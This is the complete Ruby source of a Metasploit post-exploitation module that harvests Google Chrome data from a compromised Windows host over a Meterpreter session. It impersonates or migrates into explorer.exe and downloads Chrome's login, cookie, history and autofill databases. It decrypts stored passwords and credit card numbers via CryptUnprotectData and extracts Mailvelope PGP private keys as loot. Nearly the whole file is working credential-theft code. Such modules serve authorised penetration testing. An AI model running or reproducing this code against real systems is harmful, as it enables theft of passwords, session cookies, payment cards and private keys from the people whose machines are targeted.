## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/file' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv def initialize(info={}) super(update_info(info, 'Name' => "Windows Gather Google Chrome User Data Enumeration", 'Description' => %q{ This module will collect user data from Google Chrome and attempt to decrypt sensitive information. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => [ 'Sven Taute', #Original (Meterpreter script) 'sinn3r', #Metasploit post module 'Kx499', #x64 support 'mubix' #Parse extensions ] )) register_options( [ OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]), ], self.class) end def extension_mailvelope_parse_key(data) return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n") end def extension_mailvelope_store_key(name, value) return unless name =~ /(private|public)keys/i priv_or_pub = $1 keys = value.split(",") print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!") keys.each do |key| key_data = extension_mailvelope_parse_key(key) vprint_good(key_data) path = store_loot( "chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key") print_status("==> Saving #{priv_or_pub} key to: #{path}") end end def extension_mailvelope(username, extname) chrome_path = @profiles_path + "\\" + username + @data_path maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage" if file_exist?(maildb_path) == false print_error("==> Mailvelope database not found") return end print_status("==> Downloading Mailvelope database...") local_path = store_loot("chrome.ext.mailvelope", "text/plain", session, "chrome_ext_mailvelope") session.fs.file.download_file(local_path, maildb_path) print_status("==> Downloaded to #{local_path}") maildb = SQLite3::Database.new(local_path) columns, *rows = maildb.execute2("select * from ItemTable;") maildb.close rows.each do |name, value| extension_mailvelope_store_key(name, value) end end def parse_prefs(username, filepath) f = File.open(filepath, 'rb') until f.eof prefs = f.read end results = ActiveSupport::JSON.decode(prefs) print_status("Extensions installed: ") results['extensions']['settings'].each do |name,values| if values['manifest'] print_status("=> #{values['manifest']['name']}") if values['manifest']['name'] =~ /mailvelope/i print_good("==> Found Mailvelope extension, extracting PGP keys") extension_mailvelope(username, name) end end end end def decrypt_data(data) rg = session.railgun pid = session.sys.process.open.pid process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) mem = process.memory.allocate(1024) process.memory.write(mem, data) if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" addr = [mem].pack("V") len = [data.length].pack("V") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) len, addr = ret["pDataOut"].unpack("V2") else addr = [mem].pack("Q") len = [data.length].pack("Q") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) len, addr = ret["pDataOut"].unpack("Q2") end return "" if len == 0 decrypted = process.memory.read(addr, len) return decrypted end def process_files(username) secrets = "" decrypt_table = Rex::Ui::Text::Table.new( "Header" => "Decrypted data", "Indent" => 1, "Columns" => ["Name", "Decrypted Data", "Origin"] ) @chrome_files.each do |item| if item[:in_file] == "Preferences" parse_prefs(username, item[:raw_file]) end next if item[:sql] == nil next if item[:raw_file] == nil db = SQLite3::Database.new(item[:raw_file]) begin columns, *rows = db.execute2(item[:sql]) rescue next end db.close rows.map! do |row| res = Hash[*columns.zip(row).flatten] if item[:encrypted_fields] && session.sys.config.getuid != "NT AUTHORITY\\SYSTEM" item[:encrypted_fields].each do |field| name = (res["name_on_card"] == nil) ? res["username_value"] : res["name_on_card"] origin = (res["label"] == nil) ? res["origin_url"] : res["label"] pass = res[field + "_decrypted"] = decrypt_data(res[field]) if pass != nil and pass != "" decrypt_table << [name, pass, origin] secret = "#{name}:#{pass}..... #{origin}" secrets << secret << "\n" vprint_good("Decrypted data: #{secret}") end end end end end if secrets != "" path = store_loot("chrome.decrypted", "text/plain", session, decrypt_table.to_s, "decrypted_chrome_data.txt", "Decrypted Chrome Data") print_status("Decrypted data saved in: #{path}") end end def extract_data(username) #Prepare Chrome's path on remote machine chrome_path = @profiles_path + "\\" + username + @data_path raw_files = {} @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f| remote_path = chrome_path + '\\' + f #Verify the path before downloading the file if file_exist?(remote_path) == false print_error("#{f} not found") next end # Store raw data local_path = store_loot("chrome.raw.#{f}", "text/plain", session, "chrome_raw_#{f}") raw_files[f] = local_path session.fs.file.download_file(local_path, remote_path) print_status("Downloaded #{f} to '#{local_path}'") end #Assign raw file paths to @chrome_files raw_files.each_pair do |raw_key, raw_path| @chrome_files.each do |item| if item[:in_file] == raw_key item[:raw_file] = raw_path end end end return true end def steal_token current_pid = session.sys.process.open.pid target_pid = session.sys.process["explorer.exe"] return if target_pid == current_pid if target_pid.to_s.empty? print_warning("No explorer.exe process to impersonate.") return end print_status("Impersonating token: #{target_pid}") begin session.sys.config.steal_token(target_pid) return true rescue Rex::Post::Meterpreter::RequestError => e print_error("Cannot impersonate: #{e.message.to_s}") return false end end def migrate(pid=nil) current_pid = session.sys.process.open.pid if pid != nil and current_pid != pid #PID is specified target_pid = pid print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}") begin session.core.migrate(target_pid) rescue ::Exception => e print_error(e.message) return false end else #No PID specified, assuming to migrate to explorer.exe target_pid = session.sys.process["explorer.exe"] if target_pid != current_pid @old_pid = current_pid print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...") begin session.core.migrate(target_pid) rescue ::Exception => e print_error(e) return false end end end return true end def run @chrome_files = [ { :raw => "", :in_file => "Web Data", :sql => "select * from autofill;"}, { :raw => "", :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;"}, { :raw => "", :in_file => "Web Data", :sql => "select * from autofill_profiles;"}, { :raw => "", :in_file => "Web Data", :sql => "select * from credit_cards;", :encrypted_fields => ["card_number_encrypted"]}, { :raw => "", :in_file => "Cookies", :sql => "select * from cookies;"}, { :raw => "", :in_file => "History", :sql => "select * from urls;"}, { :raw => "", :in_file => "History", :sql => "SELECT url FROM downloads;"}, { :raw => "", :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;"}, { :raw => "", :in_file => "Login Data", :sql => "select * from logins;", :encrypted_fields => ["password_value"]}, { :raw => "", :in_file => "Bookmarks", :sql => nil}, { :raw => "", :in_file => "Preferences", :sql => nil}, ] @old_pid = nil migrate_success = false # If we can impersonate a token, we use that first. # If we can't, we'll try to MIGRATE (more aggressive) if the user wants to got_token = steal_token if not got_token and datastore["MIGRATE"] migrate_success = migrate end host = session.session_host #Get Google Chrome user data path sysdrive = expand_path("%SYSTEMDRIVE%").strip if directory?("#{sysdrive}\\Users") @profiles_path = "#{sysdrive}/Users" @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" elsif directory?("#{sysdrive}\\Documents and Settings") @profiles_path = "#{sysdrive}/Documents and Settings" @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default" end #Get user(s) usernames = [] if is_system? print_status("Running as SYSTEM, extracting user list...") print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")") session.fs.dir.foreach(@profiles_path) do |u| not_actually_users = [ ".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini", "LocalService", "NetworkService" ] usernames << u unless not_actually_users.include?(u) end print_status "Users found: #{usernames.join(", ")}" else uid = session.sys.config.getuid print_status "Running as user '#{uid}'..." usernames << expand_path("%USERNAME%").strip end has_sqlite3 = true begin require 'sqlite3' rescue LoadError print_warning("SQLite3 is not available, and we are not able to parse the database.") has_sqlite3 = false end #Process files for each username usernames.each do |u| print_status("Extracting data for user '#{u}'...") success = extract_data(u) process_files(u) if success and has_sqlite3 end # Migrate back to the original process if datastore["MIGRATE"] and @old_pid and migrate_success == true print_status("Migrating back...") migrate(@old_pid) end end end